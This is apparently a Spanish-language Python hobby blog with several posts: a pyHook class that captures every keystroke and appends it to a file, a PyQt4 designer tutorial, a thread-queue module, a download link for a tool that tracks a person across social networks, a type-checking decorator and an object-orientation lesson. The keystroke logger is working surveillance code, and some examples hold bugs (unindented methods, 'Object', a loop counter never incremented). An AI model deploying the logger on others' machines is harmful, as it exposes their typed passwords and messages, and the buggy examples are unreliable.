Soporte

Habla con gente sobre python en un grupo de skype.
Skype:
hackloper

Python

All created with python

miércoles, 30 de marzo de 2016

Posted by HackLoper |
bindKeyboard.py:
#By: HackLoper
#twiter: https://twitter.com/HackLoper
#canal-youtube: hackdeveloper
#facebook: hackloper

import pyHook,pythoncom
from threadComm import Thread
from os import SEEK_END as END

class bindKeyboard(Thread):
    def __init__(self,work=True,write=False,name_file='text.txt'):
        self.wk=work;self.wr=write;self.nf=name_file
        Thread.__init__(self)

    def work(self,event):
        print 'Ascii:', unichr(event.Ascii)

    def run(self):
        h = keyboard(self.wk,self.wr,self.nf)
        h.work = self.work
        h.bindMessages()

class keyboard(pyHook.HookManager):
    def __init__(self,work=True,write=False,name_file=None):
        self._work = work
        self._write = write
        self._name_file = name_file
        pyHook.HookManager.__init__(self)
        self.HookKeyboard()
        self.KeyDown = self.__keyDown

    def __write_in_file(self,data,key):
        f = open(self._name_file,"a")
        if key == 'Back':
            f.seek(-1,END)
            f.truncate()
        elif key == 'Return':
            f.write('\n')
        elif key == 'Space':
            f.write(' ')
        else:
            f.write(data.encode('utf-8'))
        f.close()

    def __keyDown(self,event):
        if self._work == True: self.work(event)
        if self._write == True: self.__write_in_file(unichr(event.Ascii),event.Key)
        return 1

    def bindMessages(self):
        pythoncom.PumpMessages()
 
Método de uso simple:
from bindKeyboard import  bindKeyboard
import time

keyboard = bindKeyboard(work=True,write=True,name_file="teclas.txt")
keyboard.start()
time.sleep(10)
 
Método de uso heredando:
from bindKeyboard import  bindKeyboard
import time

class keyboard(bindKeyboard):
    def __init__(self,work=True,write=False,name_file="teclas.txt"):
        bindKeyboard.__init__(self,work,write,name_file)
    def work(self,event):
        print unichr(event.Ascii)

mykeyboard = keyboard()
mykeyboard.start()
time.sleep(10)

jueves, 24 de marzo de 2016

Posted by HackLoper |
Muy buenas aqui empezaremos a a crear lo mas simple que es como crear una interfaz grafica y lo haremos de forma facil para empezar y configurar lo que haga falta para que nos sea comodo manejar esta estupenda blblioteca para crear interfaces para mi es la mejor. Antes de todo quiero decir que todo lo explicare para windows.

Primero descargamos la interfaz. https://www.riverbankcomputing.com/software/pyqt/download

Despues instalamos el paquete de instalación, si tenemos python 2.7 pues tendremos que buscar el que ponga 2.7 y si tenemos python 3 pues el correspondiendte, también si tenemos el pc de 32 bits o 64 bits.

Una vez instalado y creo que no hace falta aclarar mucho sobre esto que es lo de siempre, siguiente.... siguiente... y siguiente.... debemos ir a donde se instaló python y buscar en este directorio en mi caso es

C: /Python27 /Lib /site-packages /PyQt4

debemos copiar la dirección donde se situa para poder crear una variable de entorno para decirle donde está.


Bueno para hacer esto hay que ir a equipo pulsar boton derecho y propiedades, despues en configuración avanzada y en variables de entorno, después en nueva y creamos una nueva con el nombre de "qt" por ejemplo fue la que le puse yo y la ruta donde se encuentra instalado PyQt4, una vez esto debemos ir a este directorio y para que sea mas comodo creamos un acceso directo de el ejecutable designer.exe.en el escritorio..

 Ejecutasmos designer.exe que es para diseñar nuestra interfaz grafica.

Seleccionamos Widget y aceptar y ahora vamos a crear algo muy sencillo, vamos a arrastrar un label a la ventana que se creo.  

vemos que se queda dentro pero se queda como suelto y ahora debemos fijarnos a la derecha donde dice "object inspector" y debajo pone "form" y lo seleccionamos y tenemos que fijarnos en la parte de arribe que hay unos cuadrados azules que nos va a decir si lo queremos con grid o layouts en nuestro caso vamos a acerlo con grids "celdas" que es el que tiene tres cuadrados en vertical y en horizontal.

Una vez echo esto veremos que el label se expande y se ajusta al widget y ahora añadimos un boton justo debajo.

bien ahora creamos una carpeta y le damos a guardar en esa carpeta y se creará un archivo ".ui" este nos servirá para transformar nuestra interfaz grafica a código python pero para hacerlo bien lo vamos a hacer a mi manera de la forma mas rápida para crear nuestro projectos.

Nos dirigimos a

C: /Windows /System32

y buscamjos el archivo cmd.exe y creamos un acceso directo en nuestra carpeta y despues en el acceso directo pulsamos boton derecho y propiedades y donde dice iniciar en le ponemos la carpeta en la que estamos osea la carpeta que creemos con el archivo ".ui"


Donde dice "iniciar en" ponemos la ruta en la que está el archivo ".ui" y el acceso directo de el terminal y ya estamos listos para empezar a convertir.

Como ya hicimos anteriormente colocar una variable de entorno nueva llamada "qt" esta en el terminal será reconocida con el simbolo de porcentaje antes y despues de "qt" quedando de esta manera -> " %qt% " y ahora ejecutemos el siguiente comando.

%qt%/pyuic4 untitled.ui > interfaz.py


Donde poniendo " %qt% " representa al directorio donde se encuentra PyQt4 y "pyuic4" es el archivo encargado de transformar de ".ui" a ".py" pasandole el parametro de el nombre de el archivo ".ui" y diciendole que le de como salida el archivo "interfaz.py"

ya una vez hemos creado el archivo ".py" podemos ver como queda el código.


pero ahora tendremos que crear otro archivo para ejecutar a esta interfaz, yo por ejemplo lo llamo "main.py" y donde debemos poner el siguiente código.


Solo explicaremos la función "main" ya que lo demos creo que está claro.

app = QtGui.QApplication(sys.argv)
Aqui iniciamos la aplicación y le pasamos como parametro los argumentos de el archivo que es el archivo en si mismo.

widget = QtGui.QWidget()
Creamos un widget creando un objeto instanciando "QWidget()".

window = Ui_Form()
Creamos un objeto de la interfaz que creemos anteriormente.

window.setupUi(widget)
Llamamos a el metodo "setupUi" y le pasamos como parametro el widget ya que nos lo pide.

widget.show()
Mostramos el widget.

sys.exit(app.exec_())
De esta manera lo que haces es salir cuando el bucle de la aplicación termine.

Y ya sabiendo todo esto ejecutemos nuestro programa con la mejor forma que conozco que es desde el terminal.

python main.py

Espero que les guste y recuerden agregarme a skype para cualquier duda.

Posted by HackLoper |
requisitos: PyQT4

#By: HackLoper
#twiter: https://twitter.com/HackLoper
#canal-youtube: hackdeveloper
#facebook: hackloper

from PyQt4 import QtCore
import time,sys

class Error(Exception):
    def __init__(self,error):
        self.error = error

    def __str__(self):
        return self.error

class Queue:
    def __init__(self,max_data=1024,max_buffer=1024):
        self.__buffer = []
        self.__writing = False
        self.__getting = False
        self.__max_data = max_data
        self.__max_buffer = max_buffer

    def __del_data_buffer(self):
        while self.len_buffer() > self.__max_buffer:
            del self.__buffer[0]

    def set_data(self,data):
        if self.__writing == True:
            return (False,'set_data','writing')
        elif sys.getsizeof(data) > self.__max_data:
            return (False,'set_data','size data not supported')
        else:
            if self.len_buffer() > self.__max_buffer:
                self.__del_data_buffer()
            self.__writing = True
            self.__buffer.append(data)
            self.__writing = False
            return (True,'set_data')

    def wait_data(self,num_loop=0,time_wait=1):
        if num_loop == 0 and time_wait > 0:
            return self.get_data(True)
        elif num_loop > 0 and time_wait > 0:
            num = 0
            while num < num_loop:
                if self.len_buffer() > 0:
                    return (True,'wait_data',self.get_data(True))
                time.sleep(time_wait)
            return(False,'wait_data',[])
        else:
            if num_loop < 0:
                raise Error('Error num_loop with signed')
            elif time_wait < 0:
                raise Error('Error time_wait with signed')


    def get_data(self,call=False):
        if self.__getting == True:
            return (False,'get_data','getting')
        self.__getting = True
        temp_buffer = self.__buffer
        self.__buffer = []
        self.__getting = False
        if call == True:
            return temp_buffer
        return (True,'get_data',temp_buffer)

    def len_buffer(self):
        if len(self.__buffer) > 0:
            return sys.getsizeof(self.__buffer)
        else:
            return 0

class Thread(QtCore.QThread):
    __error_queue = []
    def __init__(self,queues=[]):
        QtCore.QThread.__init__(self)
        for queue in queues:
            if queues[queue].__class__.__name__ == 'Queue':
                setattr(self,'_{0}'.format(queue),queues[queue])
            else:
                self.__error_queue.append("Not supported object because it is not of type Queue, object {0} class {1}".format(queue,\
                queues[queue].__class__.__name__))
        if len(self.__error_queue) > 0:
            raise Error(str(self.__error_queue))
Ejemplo de uso:
from threadComm import Thread,Queue
import time

class th(Thread):
    def __init__(self,**queues):
        Thread.__init__(self,queues)

    def run(self):
        for i in range(15):
            self._com.set_data(i+1)
            time.sleep(1)

class th2(Thread):
    def __init__(self,**queues):
        Thread.__init__(self,queues)

    def run(self):
        n = 0
        while n != 15:
            print "N vale: "+str(n)
            data = self._q.wait_data(3,1)
            if data[0] == True:
                n = data[2]

q = Queue()

t = th(com=q)
t2 = th2(q=q)

t.start()
t2.start()

for i in range(17):
    print "hilo princial: "+str(i)
    time.sleep(1)
 
Resultado:
hilo princial: 0
N vale: 0
N vale: [1]
hilo princial: 1
N vale: [2]
hilo princial: 2
N vale: [3]
hilo princial: 3
N vale: [4]
hilo princial: 4
N vale: [5]
hilo princial: 5
N vale: [6]
hilo princial: 6
N vale: [7]
hilo princial: 7
N vale: [8]
hilo princial: 8
N vale: [9]
hilo princial: 9
N vale: [10]
hilo princial: 10
N vale: [11]
hilo princial: 11
N vale: [12]
hilo princial: 12
N vale: [13]
hilo princial: 13
N vale: [14]
hilo princial: 14
N vale: [15]
hilo princial: 15
hilo princial: 16


CLASE QUEUE:  

instancia de la clase queue
  • max_data: Numero en bytes maximo por transferencia
  • max_buffer: Numero en bytes maximo que puede contener el buffer,
    en caso de superar el maximo de bytes en el buffer se eliminaran los
    datos hasta quedar en el maximo de bytes especificado.
set_data
  • data: Datos para transferir
wait_data
  • definicion: Retorna los datos de el buffer con un tiempo de espera
  • num_loop: Numero de veces que se repite el bucle
  • time_wait: Tiempo de espera por cada vuelta de el bucle
get_data
  • definicion: Retorna los datos en el buffer
  • Sin argumentos
len_buffer
  • definicion: Retorna los datos en el buffer
  • Sin argumentos

martes, 8 de marzo de 2016

Posted by HackLoper |
Con esta aplicación será mas fácil saber por donde anda una persona por la red, si hay posibilidad de que esté en las redes sociales y en cuales, realizar busquedas por diferentes metodos y ver las direcciones url en las que se le puede encontrar.



¿Que puede hacer la aplicación?

-Ver si la persona podría estar en redes sociales.
-Ver si ha comentado en algún foro o lugar de la red.
-Lugares donde aparecen los datos en la red.

En resumen, se puede rastrear una persona con los datos correctos.

Descarga: https://userscloud.com/mgutu1gcwrki

domingo, 1 de noviembre de 2015

Posted by HackLoper |
Con esta función utilizandola como decorador podremos decidir que tipo de datos pasar como parametros en una función.

Descargar pyVoidFunction.py
'''
by: hackloper
twitter: https://twitter.com/hackloper
blogger: http://hackloper.blogspot.com.es/

'''
import sys

class Error(Exception):
 def __init__(self,key,param=None):
  self.key = key
  self.dic_code ={
   'paramDecorator':'decorator invalid parameters, are only valid : int , float , str , bool',
   'functionParameters':'the functions do not have the same parameters',
   'decoratorAndFunctionParameters':'decorator and the function do not have the same parameters',
   'paramInvalid': 'param invalid \"%s\" type not valid' %(param)
  }

 def __str__(self):
  return self.dic_code[self.key]

def void(*types):
 for i in types:
  if isinstance(i,type) == False:
    raise Error('paramDecorator')

 def inner(func):
  varnames = func.func_code.co_varnames
  def wrapper(*param):
   if len(varnames) != len(types):
     raise Error('decoratorAndFunctionParameters')
   if len(varnames) == len(param):
    for i in range(len(types)):
     if isinstance(param[i],types[i]) == False:
      raise Error('paramInvalid',varnames[i])
    return func(*param)
   else:
    raise Error('functionParameters')

  return wrapper
 return inner

Ejemplo.
import pyVoidFunction

@void(int,int)
def funcion(x,y):
 return x ** y

resultado = funcion(2,2)
print resultado

lunes, 21 de septiembre de 2015

Posted by Unknown |
Creo que hay una gran cantidad de gente como por ejemplo yo que nos pudimos liar a la hora de comprender orientación a objetos y quiero hacer estos post para todos aquellos que esta parte les cuesta bastante y para que les sea mas fácil comprenderlo. Imaginemos que queremos crear una clase donde nos dira el color favorito, su hobby y la musica que mas le gusta, a demas tambien podemos obtener de que planeta "esto fue lo primero que se me ocurrio jeje" pues aqui tenemos la siguiente clase.
class Mi_clase(Object):
    _color = None
    _hobby = None
    _musica = None

def __init__(self):
    self.__planeta = 'Tierra'

def set_color(self,color):
    self._color = color

def set_hobby(self,hobby):
    self._hobby = hobby

def set_musica(self,musica):
    self._musica = musica

def get_planeta(self):
    return self.__planeta
comencemos con la primera linea.
class Mi_clase(Object):
Creamos la clase y la llamamos "MI_clase" por ejemplo y heredamos de Object que son para clases de nuevo estilo aunque a esto no tenemos que darle importancia hasta que no manejemos bien esto.
    _color = None
    _hobby = None
    _musica = None 
Creamos los atributos _color, _hobby y _musica, para que lo tengais claro esto simplemente podemos decir que es una propiedad de la clase a la que podemos acceder desde nuestro objecto que mas adelante explicaremos, yo lo puse con un guion bajo "_" al principio de cada atributo pero esto no es necesario simplemente a mi me gusta ponerlo de esta manera para que sea mas legible, también os podeis fijas que no estan puestos dentro "__init__" y que tampoco lleban "self" detras, esto yo lo hago para saber que estos atributos no se definen al llamar a la clase de esta manera tengo el código mas ordena pero también podria estar dentro de "__init__" de ser así tendria que ser de la siguiente manera.
self._color = None
self._hobby = None
self._musica = None 
De esta manera si debería llevar "self" detras para que no lo identifique como una variable cualquiera si no como atributo de la clase.
def __init__(self):
    self.__planeta = 'Tierra'
Comencemos diciendo que cuando se crea una función dentro de una clase a esta función se dice que es un método de esa clase de manera que sería mas correcto decir que está ejecutando el método "__init__" de la clase "Mi_clase", una vez dicho esto vemos que contiene como primer parametro "self" esto debe ir siempre, no es por capricho, esto sirve para que esta función no sea solamente una función cualquiera si no que pase a ser el metodo de esta clase de manera que le pasamos por asi decirlo "a la clase misma" y así poder llamar desde dentro del método a cualquier atributo o incluso a otro metodo de la misma clase, pongamos un ejemplo ahora mismo para que lo entendais.
def __init__(self):
    self.__planeta = 'Tierra'
    print(self._color)
Simplemente imprimimos el atributo color pero esto es gracias a el "self" que le pasamos como parametro que hace que podamos utilizarlo para referirnos a cualquier atributo de la clase pero ¿y si quisiera llamar a un método de esta clase? pues hariamos lo siguiente.
def __init__(self):
    self.get_planeta()
Es como llamar a una función cualquiera pero con el "self" le estamos diciendo que esta en la misma clase. La siguiente linea creamos un atributo pero este es algo "especial" es un atributo casi privado y digo que es casi privado porque no es pribado totalmente ya que este es accesible aunque no nos liaremos con esto ahora pero si quiero explicar el porque ponerlo privado, simplemente por que no quiero que por cualquier error se pueda modificar este atributo desde fuera de la clase pero si puede ser modificado desde el interior de la clase.
def set_color(self,color):
    self._color = color
Aqui decir que en los métodos de las clases para que nos sea mas claro el código que queramos por costumbre se crean unos métodos que son los que establecen o dan valor a un atributo y otros los que los devuelven a estos métodos se les llama "setter" para los metodos que establecen valores y "getter" a los que los que devuelven el valor, dicho esto vemos que como primer parametro es "self" esto esta claro y como segundo hay que pasarle un parametro que será el color que nos gusta de este modo se guardará en el atributo "self._color". Lo mismo con los otros dos metodos "set_hobby" y "set_musica".
def get_planeta(self):
return self.__planeta
Una forma mas segura mostrar un atributo sin el riesgo de ser modificado es creando un metodo que devuelva el atributo privado. Ahora vamos a hacer uso de esta clase.
mi_objeto = Mi_clase()

mi_objeto.set_color("verde" )
mi_objeto.set_hobby("futbol" )
mi_objeto.set_musica("pop" )

planeta = mi_objeto.get_planeta()
color = mi_objeto.color

print(planeta)
print(color)
Esto también vamos ir viendolo linea por linea por que me gustaría que quedara todo claro y no se me pase nada y que no se escape cualquier duda.
mi_objeto = Mi_clase()
en este caso creamos una variable en este caso al azar y la llamamos "mi_objeto" pero CUIDADO esto ya no va a ser una variable por que estamos llamando a una clase y al llamar a una clase se dice que estamos creando un "objeto" de manera que mi_objeto tenemos que tener claro que va a contener todos los atributos y métodos dentro de este objeto también decir que a esto se le dice [b]instanciar una clase[/b] entonces decimos que estamos creando un objeto instanciando la clase "Mi_clase" en resumen es una instancia.
mi_objeto.set_color("verde" )
Como ya dijimos ahora tenemos todos los metodos dentro de nuestro objeto y podemos llamarlos y hacemos uso de estos para establecer en este caso el color e igualmente con los otros dos métodos.
planeta = mi_objeto.get_planeta()
Ahora creamos una variable y no os confundais, no es un objeto por que no esta instanciando una clase simplemente esta devolviendo el método de el objeto que hemos creado.
color = mi_objeto._color
Como veis poemos guardar en una variable tanto lo que devuelva un método como un atributo pero nos daría error si intentasomos devolver el atributo privado.
planeta = mi_objeto.__planeta
Si hicieramos esto nos lanzaria un error dicendo que no existe tal atributo.
print(planeta)
print(color)
Por ultimo simplemente imprimimos las variables.